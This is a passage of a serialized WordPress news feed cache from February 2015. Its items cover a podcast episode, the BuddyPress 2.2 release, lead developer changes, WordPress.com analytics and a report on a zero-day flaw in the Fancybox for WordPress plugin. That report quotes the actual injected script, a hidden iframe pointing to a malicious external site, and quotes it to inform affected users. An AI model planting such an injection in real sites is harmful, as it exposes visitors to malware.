having to browse through clunky administration screens.</p>\n<p>Thoughtful Comments is compatible with WordPress 4.1 and available from the <a title=\"https://wordpress.org/plugins/thoughtful-comments/\" href=\"https://wordpress.org/plugins/thoughtful-comments/\">WordPress plugin directory</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 05 Feb 2015 18:33:53 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:39;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:78:\"WPTavern: WPWeekly Episode 178 – A Conversation With Frenemy Brian Krogsgard\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:44:\"http://wptavern.com?p=38572&preview_id=38572\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:84:\"http://wptavern.com/wpweekly-episode-178-a-conversation-with-frenemy-brian-krogsgard\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3687:\"<p>In this episode of WordPress Weekly, <a title=\"http://marcuscouch.com/\" href=\"http://marcuscouch.com/\">Marcus Couch</a> and I are joined by the founder of <a title=\"https://poststatus.com/\" href=\"https://poststatus.com/\">PostStatus</a>, Brian Krogsgard. He explains how his experience writing for WPCandy provided the foundation to launch PostStatus. We find out how well the <a title=\"https://poststatus.com/club/\" href=\"https://poststatus.com/club/\">PostStatus club</a> is doing since launching two weeks ago. Last but not least, we discuss whether or not Krogsgard has the right ingredients to be financially successful in the WordPress content business.</p>\n<h2>Stories Discussed:</h2>\n<p><a title=\"http://wptavern.com/envato-stats-tips-for-getting-things-done-and-more-at-pressnomics-3\" href=\"http://wptavern.com/envato-stats-tips-for-getting-things-done-and-more-at-pressnomics-3\">Recap of PressNomics 3</a><br />\n<a title=\"http://wptavern.com/human-made-acquires-australian-based-wordpress-agency-sennza\" href=\"http://wptavern.com/human-made-acquires-australian-based-wordpress-agency-sennza\">Human Made Acquires Australian Based WordPress Agency Sennza</a><br />\n<a title=\"http://wptavern.com/zero-day-vulnerability-discovered-in-fancybox-for-wordpress-plugin\" href=\"http://wptavern.com/zero-day-vulnerability-discovered-in-fancybox-for-wordpress-plugin\">Zero Day Vulnerability Discovered in Fancybox for WordPress Plugin</a><br />\n<a title=\"http://wptavern.com/buddypress-2-2-spumoni-released-featuring-new-member-type-api\" href=\"http://wptavern.com/buddypress-2-2-spumoni-released-featuring-new-member-type-api\">BuddyPress 2.2 Spumoni Released, Featuring New Member Type API</a></p>\n<h2>Plugins Picked By Marcus:</h2>\n<p><a title=\"https://wordpress.org/plugins/user-roles-and-capabilities/\" href=\"https://wordpress.org/plugins/user-roles-and-capabilities/\">User Roles and Capabilities</a> allows you to manage user roles and capabilities. Using this plugin, you can create new roles and delete existing roles.</p>\n<p><a title=\"https://wordpress.org/plugins/wp-style-kit/\" href=\"https://wordpress.org/plugins/wp-style-kit/\">WP Style Kit</a> is a plugin that adds additional features to the Custom Styles section of the Visual Editor. You can add beautiful custom styles such as, additional headlines, custom bullets, circles, quotes, and call out boxes.</p>\n<p><a title=\"https://wordpress.org/plugins/pet-adoption-listings/\" href=\"https://wordpress.org/plugins/pet-adoption-listings/\">Pet Adoption Listings</a> provides two easy ways to display listings of adoptable pets from a shelter&#8217;s profile at Adopt-a-Pet.com via an iframe.</p>\n<p><a title=\"https://wordpress.org/plugins/login-joomla-users/\" href=\"https://wordpress.org/plugins/login-joomla-users/\">Login Joomla Users</a> allows migrated users from Joomla to login to WordPress. Tested on WordPress 4.1 with users migrated from Joomla 2.5.9. After the first successful login, the password field will automatically be hashed by WordPress.</p>\n<h2>WPWeekly Meta:</h2>\n<p><strong>Next Episode:</strong> Wednesday, February 11th 9:30 P.M. Eastern</p>\n<p><strong>Subscribe To WPWeekly Via Itunes: </strong><a href=\"https://itunes.apple.com/us/podcast/wordpress-weekly/id694849738\" target=\"_blank\">Click here to subscribe</a></p>\n<p><strong>Subscribe To WPWeekly Via RSS: </strong><a href=\"http://www.wptavern.com/feed/podcast\" target=\"_blank\">Click here to subscribe</a></p>\n<p><strong>Subscribe To WPWeekly Via Stitcher Radio: </strong><a href=\"http://www.stitcher.com/podcast/wordpress-weekly-podcast?refid=stpr\" target=\"_blank\">Click here to subscribe</a></p>\n<p><strong>Listen To Episode #178:</strong><br />\n</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 05 Feb 2015 17:33:40 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:40;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:26:\"Matt: Great Doctorow Essay\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44631\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:42:\"http://ma.tt/2015/02/great-doctorow-essay/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:157:\"<p>Cory Doctorow on <a href=\"http://www.wired.com/2014/12/government-computer-security\">How Laws Restricting Tech Actually Expose Us to Greater Harm</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 05 Feb 2015 05:50:00 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:41;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:72:\"WPTavern: BuddyPress 2.2 Spumoni Released, Featuring New Member Type API\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=37925\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:81:\"http://wptavern.com/buddypress-2-2-spumoni-released-featuring-new-member-type-api\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:5548:\"<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/l-and-b.jpg\" rel=\"prettyphoto[37925]\"><img src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/l-and-b.jpg?resize=1025%2C498\" alt=\"l-and-b\" class=\"aligncenter size-full wp-image-38537\" /></a></p>\n<p>BuddyPress 2.2 &#8220;<a href=\"https://buddypress.org/2015/02/buddypress-2-2-spumoni/\" target=\"_blank\">Spumoni</a>&#8221; was released today. The name pays tribute to<a href=\"http://www.spumonigardens.com/\" target=\"_blank\"> L&amp;B Spumoni Gardens</a>, a 70 year old, family-owned pizza joint in Brooklyn, NY. This release is packed full of features that offer developers more flexibility in extending BuddyPress.</p>\n<h2>New Member Type API</h2>\n<p>BuddyPress 2.2 introduces a basic <a href=\"http://wptavern.com/buddypress-2-2-on-track-to-provide-a-basic-member-type-api\" target=\"_blank\">Member Type API</a> that developers can use to create different user types, i.e. student, teacher, etc. This new API is a huge step forward for building niche social networks on top of WordPress. It makes it possible to restrict content, filter the member directory, assign different permissions, etc., based on different member types.</p>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/member-types.png\" rel=\"prettyphoto[37925]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/member-types.png?resize=304%2C173\" alt=\"member-types\" class=\"aligncenter size-full wp-image-38546\" /></a></p>\n<p>The API does nothing visible for users in this first iteration but can be utilized to create plugins that register different member types and build out further capabilities from there. Admins will be able to change a user&#8217;s member type, which is currently limited to one, via a new meta box that is added to the community profile screen.</p>\n<h2>Custom Post Type Support Added to the Activity Stream</h2>\n<p>Custom post type support for the activity stream is a major feature that has been <a href=\"https://buddypress.trac.wordpress.org/ticket/3460\" target=\"_blank\">three years in the making</a>. Developers can now add support for their post types to be tracked in the activity stream in the same way that updates appear for regular posts via the blogs component. Adding support for CPTs is as simple as including one line of code:</p>\n<pre class=\"brush: php; light: true; title: ; notranslate\">add_post_type_support( \'book\', \'buddypress-activity\' );</pre>\n<p>Note that this feature isn&#8217;t automatically turned on &#8211; a custom post type must declare support for it. The single line of code will add a generic update that can be further customized via arguments added when registering the post type. Comment support for CPT activity items is also optional.</p>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2014/12/cpt-activity.png\" rel=\"prettyphoto[37925]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2014/12/cpt-activity.png?resize=1025%2C326\" alt=\"cpt-activity\" class=\"aligncenter size-full wp-image-35302\" /></a></p>\n<p>Custom post types with activity stream support can then be easily sorted via the activity dropdown filters:</p>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2014/12/activity-dropdown.png\" rel=\"prettyphoto[37925]\"><img src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2014/12/activity-dropdown.png?resize=1025%2C366\" alt=\"activity-dropdown\" class=\"aligncenter size-full wp-image-35299\" /></a></p>\n<p>Check out the BuddyPress codex for more information on <a href=\"https://codex.buddypress.org/plugindev/post-types-activities/#adding-the-buddypress-support-and-specific-labels-at-post-type-registration\" target=\"_blank\">how to customize activity attributes</a> when registering a custom post type.</p>\n<p>This release also <a href=\"http://wptavern.com/buddypress-2-2-will-add-support-for-composer\" target=\"_blank\">adds support for Composer</a>. BuddyPress will soon be listed at <a href=\"https://packagist.org/\" target=\"_blank\">Packagist.org</a> now that the official release is out.</p>\n<p>Other notable features and improvements include:</p>\n<ul>\n<li>Several new query API’s (based on WordPress improvements) for retrieving more specific results</li>\n<li>Continued cache enhancements, particularly for multi-site and multi-network WordPress configurations</li>\n<li>Message Meta – Private message conversations are now more flexible with an additional metadata table</li>\n<li>The Activity and Extended Profiles components now support advanced conditional logic, like nested clauses and multiple operators — A AND ( B OR C ). The Activity component now also supports querying by multiple scopes.</li>\n<li>Mentions: Better support for responsive devices</li>\n<li>Improved UI for managing messages, new “Read/Unread” links for each message thread, better bulk message management</li>\n<li>Numerous improvements to the Legacy template pack</li>\n<li>Increased coverage of inline code documentation, actions, and filters</li>\n</ul>\n<p>Check out the full list of improvements on the <a href=\"https://codex.buddypress.org/releases/version-2-2/\" target=\"_blank\">2.2 version page</a> in the codex.</p>\n<p>BuddyPress 2.2 is the result of several months of hard work from 44 contributors. The new features in this release enable the plugin to be more flexible for building niche social networks with different user types and custom content types integrated into the activity stream. The official BuddyPress 2.2 update is now available via the WordPress admin.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 05 Feb 2015 00:26:28 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:42;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:45:\"Post Status: WordPress lead developer changes\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:30:\"https://poststatus.com/?p=8385\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:56:\"https://poststatus.com/wordpress-lead-developer-changes/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4131:\"<p>Yesterday, <a href=\"https://make.wordpress.org/core/2015/02/03/new-lead-developers-helen-and-dion/\">it was announced</a> that Helen Hou-Sandí and Dion Hulse are now lead developers of the WordPress project. That announcement, we learned today, is tied to another: that Peter Westwood and Ryan Boren <a href=\"https://make.wordpress.org/core/2015/02/04/new-chapters-for-ryan-and-westi/\">are stepping down</a> from their lead developer roles.</p>\n<p>Peter and Ryan have been enormously influential on the project.</p>\n<p>Ryan Boren has been committing to the WordPress codebase for over 11 years (aka: since the beginning), and has more commits &#8212; 7,961 according to Open Hub &#8212; than anyone. Peter has been committing for 7 years, and has 1,261 commits to his name. However, a lead developer&#8217;s influence goes well beyond commit; they are the guardians of the project.</p>\n<p>Both Ryan and Peter have been more quiet lately than years prior. Andrew Nacin describes it like so:</p>\n<blockquote><p>For some time now, Ryan and Peter have avoided weighing in on technical matters. Very simply, when you aren’t able to be active in development, you know you’re not up to speed, and you realize your words shouldn’t carry the weight that they do. Being able to make this <a href=\"http://nacin.com/2014/02/07/how-wordpress-chooses-committers/\">judgment</a> is one of the things that makes both of them such great leaders.</p></blockquote>\n<p>Peter will step into an emeritus role:</p>\n<blockquote><p>Peter will be moving into a dormant/inactive/emeritus status. We hope to have him back when his life and work allows. In the meantime, you may see him committing a bug fix here and there, as he is wont to do.</p></blockquote>\n<p>Ryan has shifted his focus, however, and is concentrating fully on UX in WordPress:</p>\n<blockquote><p>Ryan has been focusing all of his energy on improving UX for more than a year, especially for mobile and touch devices, and especially for workflows like media management. So I’m pleased to say he’ll continue to do that:<strong>Ryan will be spearheading UX for WordPress in 2015.</strong> It’s been a while since we’ve had someone truly focusing on just UX, so this is really exciting.</p></blockquote>\n<p>With this shift, Helen and Dion are stepping into official roles to represent their enormous impact on the project over the last several years.</p>\n<p>(Note: this bit of the post will look familiar to Club members)</p>\n<p>Helen works for <a href=\"http://10up.com/\">10up</a>, a WordPress consulting agency, and spends nearly 100% of her time on the WordPress.org project. She <a href=\"https://make.wordpress.org/core/2012/12/18/commit-promotions/\">received commit access</a> in late 2012, at the beginning of the 3.6 release cycle. You can follow <a href=\"https://twitter.com/helenhousandi\">@helenhousandi</a> on Twitter, and <a href=\"http://helenhousandi.com/\">visit her website</a> as well.</p>\n<p>These are the first additions to the list of lead developers for WordPress since Andrew Nacin became a lead in 2012, before the WordPress 3.5 release.</p>\n<p>I asked Andrew Nacin how these decisions are made, and he responded with the following:</p>\n<blockquote>\n<p class=\"p1\"><span class=\"s1\">After each release, the lead developers review the current list of guest committers, potentially propose new committers, etc. Any proposals are finalized through consensus.</span></p>\n</blockquote>\n<p>This is a big honor and an uncommon occurrence for the WordPress project. Major congratulations are due to both Helen and Dion.</p>\n<p>Also, we all owe Peter and Ryan a huge round of applause and thanks for their contributions &#8212; past, present, and future &#8212; to the WordPress project.</p>\n<p>The WordPress.org <a href=\"https://wordpress.org/about\">About</a> page maintains the list of lead developers for WordPress, and with yesterday and today&#8217;s announcement, we&#8217;re back to five Lead Developers plus Matt Mullenweg as Project Lead. The website now reflects these changes, with fancy (and totally serious) titles for the new lead developers.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 04 Feb 2015 22:52:18 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:15:\"Brian Krogsgard\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:43;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:76:\"WPTavern: Zero Day Vulnerability Discovered in Fancybox for WordPress Plugin\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38478\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:86:\"http://wptavern.com/zero-day-vulnerability-discovered-in-fancybox-for-wordpress-plugin\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3172:\"<p>Four hours ago, users seeking support on WordPress.org <a href=\"https://wordpress.org/support/topic/possible-malware-2?replies=41\" target=\"_blank\">reported malware injected into their sites</a> from an unknown source. The vulnerability allows for an iframe to be injected, redirecting to a &#8220;203koko&#8221; site.</p>\n<pre class=\"brush: xml; light: true; title: ; notranslate\">\n&lt;script&gt;/*&lt;![CDATA[*/if(navigator.userAgent.match(/msie/i)){document.write(\' &lt;div style=\"position:absolute;left:-2000px;width:2000px\"&gt;&lt;iframe src=\"http://203koko.eu/hjnfh/ipframe2.php\" width=\"20\" height=\"30\" &gt;&lt;/iframe&gt;&lt;/div&gt;\');}/*]]&gt;*/&lt;/script&gt;\n</pre>\n<p>After working together to determine the plugins they have in common, users identified <a href=\"https://wordpress.org/plugins/fancybox-for-wordpress/\" target=\"_blank\">Fancybox for WordPress</a> as the culprit. It has since been temporarily removed from the WordPress Plugins Directory, as it hasn&#8217;t been updated for two years and poses a security threat to users. The plugin has received more than half a million downloads and is likely in use on thousands of WordPress sites.</p>\n<p><a href=\"https://kovshenin.com/\" target=\"_blank\">Konstantin Kovshenin</a> and <a href=\"http://codeseekah.com/\" target=\"_blank\">Gennady Kovshenin</a> worked together to analyze sites from affected users to confirm the vulnerability. There is currently no patch, so users of the plugin are advised to turn it off immediately.</p>\n<blockquote class=\"twitter-tweet\" width=\"550\"><p>If you are running Fancybox for <a href=\"https://twitter.com/hashtag/WordPress?src=hash\">#WordPress</a> turn it off now! It contains a persistent XSS <a href=\"https://twitter.com/hashtag/vulnerability?src=hash\">#vulnerability</a> <a href=\"https://twitter.com/hashtag/security?src=hash\">#security</a> <a href=\"https://twitter.com/hashtag/infosec?src=hash\">#infosec</a></p>\n<p>&mdash; Gennady Kovshenin (@soulseekah) <a href=\"https://twitter.com/soulseekah/status/563054468183654400\">February 4, 2015</a></p></blockquote>\n<p></p>\n<p>Analysts at Sucuri have <a href=\"http://blog.sucuri.net/2015/02/zero-day-in-the-fancybox-for-wordpress-plugin.html\" target=\"_blank\">confirmed via Website Firewall logs</a> that the vulnerability is being actively exploited:</p>\n<blockquote><p>After some analysis, we can confirm that this plugin has a serious vulnerability that allows for malware (or any random script/content) to be added to the vulnerable site. Because it is currently unpatched, we will not disclose more information.</p>\n<p>What makes things worse, is that it’s being actively exploited in the wild, leading to many compromised websites.</p></blockquote>\n<p>Users who have this plugin installed on their sites have no other option than to disable it, as no patch is available yet. The plugin&#8217;s author, <a href=\"https://twitter.com/moskis\" target=\"_blank\">José Pardilla</a>, is aware of the issue and <a href=\"https://wordpress.org/support/topic/not-safe-2?replies=3\" target=\"_blank\">responded to an affected user</a> five hours ago in the plugin&#8217;s forum on WordPress.org. A patch should be forthcoming.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 04 Feb 2015 20:57:33 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:44;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:73:\"WPTavern: WordPress.com Adds Google Analytics for Business Customers Only\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38461\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:83:\"http://wptavern.com/wordpress-com-adds-google-analytics-for-business-customers-only\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3378:\"<p>Last week WordPress.com <a href=\"http://en.blog.wordpress.com/2015/01/29/google-analytics-for-wordpress-com-business-sites/\" target=\"_blank\">announced</a> that Google Analytics is now available for its customers on the <a href=\"https://wordpress.com/plans/\" target=\"_blank\">business tier</a>, which is priced at $299.00 per year. Users have been <a href=\"http://en.forums.wordpress.com/topic/google-analytics-please/page/3?replies=107\" target=\"_blank\">clamoring for the feature</a> for years. While many enjoy using the built-in Stats feature, it is severely limited in comparison to Google Analytics and the data is not portable if the user moves to another publishing platform.</p>\n<p>Business customers can now enter a GA tracking ID under Settings → Analytics screen in the new site management area.</p>\n<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/google-analytics-wpdotcom.png\" rel=\"prettyphoto[38461]\"><img src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/google-analytics-wpdotcom.png?resize=1025%2C668\" alt=\"google-analytics-wpdotcom\" class=\"aligncenter size-full wp-image-38468\" /></a></p>\n<p>Access to setting up Google Analytics was added to the new backend administration area. Automattic CEO Matt Mullenweg confirms in the comments that all future new features will bypass the old /wp-admin dashboard in favor of the new interface.</p>\n<p>&#8220;[There are] no plans to put any new features into the wp-admin dashboard, beyond what comes from core updates from the open source side,&#8221; Mullenweg <a href=\"http://en.blog.wordpress.com/2015/01/29/google-analytics-for-wordpress-com-business-sites/#comment-217148\" target=\"_blank\">replied</a> to a comment on the post.</p>\n<p>&#8220;You don’t have to stop using wp-admin, and it’s not going anywhere, it’s just not where we’re focusing our energy right now,&#8221; he said, in response to a user&#8217;s confusion about the two separate admin areas. &#8220;As you’ve probably noticed, most of our new updates and iterations are happening in the new interface. You’ll see lots of improvements there in the coming months.&#8221;</p>\n<p>Users on the free and premium plans were disappointed that Google Analytics will not be available for all, given that it&#8217;s a free service. WordPress.com opted to limit the feature to business customers in order to make it more compelling for users to upgrade to the highest pricing tier. They have taken to the WordPress.com support forums to express <a href=\"http://en.forums.wordpress.com/topic/google-analytics-for-all?replies=2\" target=\"_blank\">dissatisfaction</a> in the feature&#8217;s restriction.</p>\n<p>In the past, users have adapted various <a href=\"http://en.forums.wordpress.com/topic/you-can-run-google-analytics-on-a-wordpresscom-blog-heres-how?replies=1\" target=\"_blank\">jerry-rigged methods of adding Google Analytics to WordPress.com sites</a>, using a mapped domain with Cloudflare + Google Analytics enabled. While this is a proven <a href=\"http://jonathonbalogh.com/2012/05/07/how-to-use-google-analytics-on-a-wordpress-com-blog/\" target=\"_blank\">solution</a> for adding the tracking code, it requires using a custom domain with WordPress.com, as well as the ability to follow a few technical instructions. At this time, there is no easy way to add Google Analytics to the bottom tier accounts.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 04 Feb 2015 20:16:14 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:45;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	